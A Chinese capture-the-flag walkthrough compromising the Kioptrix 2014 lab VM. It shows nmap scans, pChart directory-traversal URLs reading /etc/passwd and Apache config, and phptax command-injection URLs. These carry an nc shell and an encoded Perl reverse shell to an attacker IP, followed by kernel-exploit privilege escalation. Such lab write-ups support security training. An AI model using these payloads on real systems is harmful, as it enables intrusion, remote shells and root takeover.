下载链接:
下载完成后打开到虚拟机,需要先删除网卡再添加网卡,才能获取到该靶场的ip,否则会扫描不到(右键虚拟机---->设置)
如果删除网卡后再安装网卡还是扫描不到,那就再删除一次
正文:
先用nmap扫描靶场的ip(-sn:Ping扫描-禁用端口扫描,存活探测)
nmap -sn 192.168.1.1/24
得到靶场ip后进行对靶场端口的扫描并把结果输出到 kvm2014文件夹下,命名为port
nmap -p- 192.168.1.159 -PN -r -oA kvm2014/port
(-p-:对所有端口进行探测
-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标
-oA:输出到指定位置
-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。
)
对扫描出来的端口进行指纹探测
nmap -p 22,80,8080 192.168.1.159 -sC -sV -r -O --version-all -A -oA kvm2014/server
(-p:对指定的端口进行探测
-sV:版本信息
-sC:默认脚本扫描
-A:启动Os检测,版本检测,脚本扫描和traceroute
-O:探测操作系统信息
--version-all:尽可能多的探测信息)
搜集信息
对80端口和8080进行访问看看有没有什么有用的信息
一般这种情况,我会习惯的右键打开网页源代码
果然,发现有用的信息了,我们直接进行访问看看,这个界面看上去是某种网页工具
我们再去访问8080端口看看有没有什么可以利用的信息
发现我们访问不了,看来是做了对应的限制操作了
那我们继续在80端口上发现的url界面进行操作,直接百度pChart看看这是什么东西
是个php图标绘制工具,既然是网页工具的话,我们直接就在kali中搜索看看有没有对应的漏洞
searchsploit pChart
漏洞利用
(searchsploit是一个非常实用的网络安全工具,它是Exploit-DB的一个命令行搜索工具。Exploit-DB是一个公开的漏洞数据库,包含了大量的漏洞利用程序)
我们直接新建一个文件夹,方便对文件进行归纳
我们直接把该31173.txt复制到新建的文件夹中
searchsploit -m 31173.txt
我们看下这个文件中写了什么
cat 31173.txt
他提到了目录穿越漏洞以及xss漏洞等
那我们直接复制他的payload进行实验
192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
发现并没有什么有用的东西,既然有目录穿越漏洞,那我们在该payload上进行改动,看能不能读取到其他内容,比如管理员用户或者中间件配置等
在nmap的扫描结果中发现了”FreeBSD“
不会就问度娘,得知FreeBSD是一个操作系统,同时知道他的中间件是apache
再次通过百度我们就可以得到该系统下的apache配置文件目录(FreeBSD 安装和配置 Apache Web 服务器 - nixCraft (cyberciti.biz))
我们直接尝试进行读取
在之前的payload的基础上进行对应的改动
192.168.1.159/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf
读取配置成功,我们来看看有没有什么有用的东西
我们发现了这个(这段代码是一个 Apache HTTP Server 的配置,它用于根据用户代理(User-Agent)来限制对特定目录的访问权限。)
看来对8080端口做了UA头限制,那我们直接bp抓包修改UA头进行访问
UA头修改为:
Mozilla/4.0 Mozilla4_browser
然后放包,发现访问成功!
然后再次抓包,点击”phptax“,修改UA头,会来到这个界面
(我们也可以直接用firbox中的hackbar插件)
度娘一下phptax是什么东东?
获取shell
hackbar获取shell
那这样的话,我们直接 kali!启动!
searchsploit phptax
还得是kali
searchsploit phptax -m 21665.txt
看看这个文档里写了什么
那我们直接复制出payload看能否利用
192.168.1.159/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20%2fbin%2fbash%3b&pdf=make
(url解码后:192.168.1.159/phptax/drawimage.php?pfilez=xxx; nc -l -v -p 23235 -e /bin/bash;&pdf=make 远程代码执行漏洞)
我们在kali中打开nc进行端口监听 23235
然后输入构造好的payload(别忘了UA头!)
惊奇的发现nc一点反应也没有,既然这里有远程代码执行漏洞,那我们就再换一个反弹shell指令试试
(反弹shell生成器 (ywhack.com) 简单、高效、快捷!)
perl -e 'use Socket;$i="192.168.1.6";$p=23235;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
经过URL编码(一定要进行URL编码(全编码或半编码都可以))
%20perl%20-e%20'use%20Socket%3b%24i%3d%22192.168.1.6%22%3b%24p%3d23235%3bsocket(S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname(%22tcp%22))%3bif(connect(S%2csockaddr_in(%24p%2cinet_aton(%24i))))%7bopen(STDIN%2c%22%3e%26S%22)%3bopen(STDOUT%2c%22%3e%26S%22)%3bopen(STDERR%2c%22%3e%26S%22)%3bexec(%22sh%20-i%22)%3b%7d%3b'
(%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%36%22%3b%24%70%3d%32%33%32%33%35%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%73%68%20%2d%69%22%29%3b%7d%3b%27)该url编码也可以
将恶意代码插入到URL中
完整payload
192.168.1.159:8080/phptax/drawimage.php?pfilez=xxx;%20perl%20-e%20'use%20Socket%3b%24i%3d%22192.168.1.6%22%3b%24p%3d23235%3bsocket(S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname(%22tcp%22))%3bif(connect(S%2csockaddr_in(%24p%2cinet_aton(%24i))))%7bopen(STDIN%2c%22%3e%26S%22)%3bopen(STDOUT%2c%22%3e%26S%22)%3bopen(STDERR%2c%22%3e%26S%22)%3bexec(%22sh%20-i%22)%3b%7d%3b'%3b&pdf=make
获取shell成功!
bp抓包获取shell
同样也可以通过抓包操作来获取shell
在URL中输入之前的payload,同时对包进行拦截
192.168.1.159:8080/phptax/drawimage.php?pfilez=xxx;%20nc%20-l%20-v%20-p%2023235%20-e%20%2fbin%2fbash%3b&pdf=make
右键 发送到重放器
该位置是输入远程代码指令的位置(通过之前的payload中的远程代码位置就可以看出)
将该位置替换为
%20perl%20-e%20'use%20Socket%3b%24i%3d%22192.168.1.6%22%3b%24p%3d23235%3bsocket(S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname(%22tcp%22))%3bif(connect(S%2csockaddr_in(%24p%2cinet_aton(%24i))))%7bopen(STDIN%2c%22%3e%26S%22)%3bopen(STDOUT%2c%22%3e%26S%22)%3bopen(STDERR%2c%22%3e%26S%22)%3bexec(%22sh%20-i%22)%3b%7d%3b'
或者
(
%70%65%72%6c%20%2d%65%20%27%75%73%65%20%53%6f%63%6b%65%74%3b%24%69%3d%22%31%39%32%2e%31%36%38%2e%31%2e%36%22%3b%24%70%3d%32%33%32%33%35%3b%73%6f%63%6b%65%74%28%53%2c%50%46%5f%49%4e%45%54%2c%53%4f%43%4b%5f%53%54%52%45%41%4d%2c%67%65%74%70%72%6f%74%6f%62%79%6e%61%6d%65%28%22%74%63%70%22%29%29%3b%69%66%28%63%6f%6e%6e%65%63%74%28%53%2c%73%6f%63%6b%61%64%64%72%5f%69%6e%28%24%70%2c%69%6e%65%74%5f%61%74%6f%6e%28%24%69%29%29%29%29%7b%6f%70%65%6e%28%53%54%44%49%4e%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%4f%55%54%2c%22%3e%26%53%22%29%3b%6f%70%65%6e%28%53%54%44%45%52%52%2c%22%3e%26%53%22%29%3b%65%78%65%63%28%22%73%68%20%2d%69%22%29%3b%7d%3b%27
)
成功获取shell!
提权
但是我们并没有权限
接下来就是进行提权操作
查看计划任务以及查找具有 Setuid 权限的文件的命令,发现并没有我们可以用来利用的点
cat /etc/crontab
find / -perm -u=s -type f 2>/dev/null
对文件不了解的可以在这个网站上GTFOBinshttps://gtfobins.github.io/#+sudo对文件进行一个个尝试
对这些文件在该网站上进行挨个尝试,看该文件能否提权
我们查看内核,看是否可以进行内核提权
uname -a
新开窗口,进行搜索
searchsploit FreeBSD 9.0
searchsploit FreeBSD -m 28718.c
将该文件复制到当前目录下
发现该靶场存在nc
所以我们通过nc 将该文件发送到目标靶机
nc -lvp 8080 < 28718.c
打开靶机shell
nc 192.168.1.6 8080 > 1.c
然后在kali窗口上 ctrl+c退出nc,否则无法进行其他操作
ls
查看是否传输过来
然后进行编译
gcc 28718.c
编译后会在当前目录下生成”a.out“文件
./a.out
运行文件
提权成功
提权2
我们同样可以利用远程代码执行漏洞来写入一句话木马,在通过目录穿越漏洞进行访问,从而获取到shell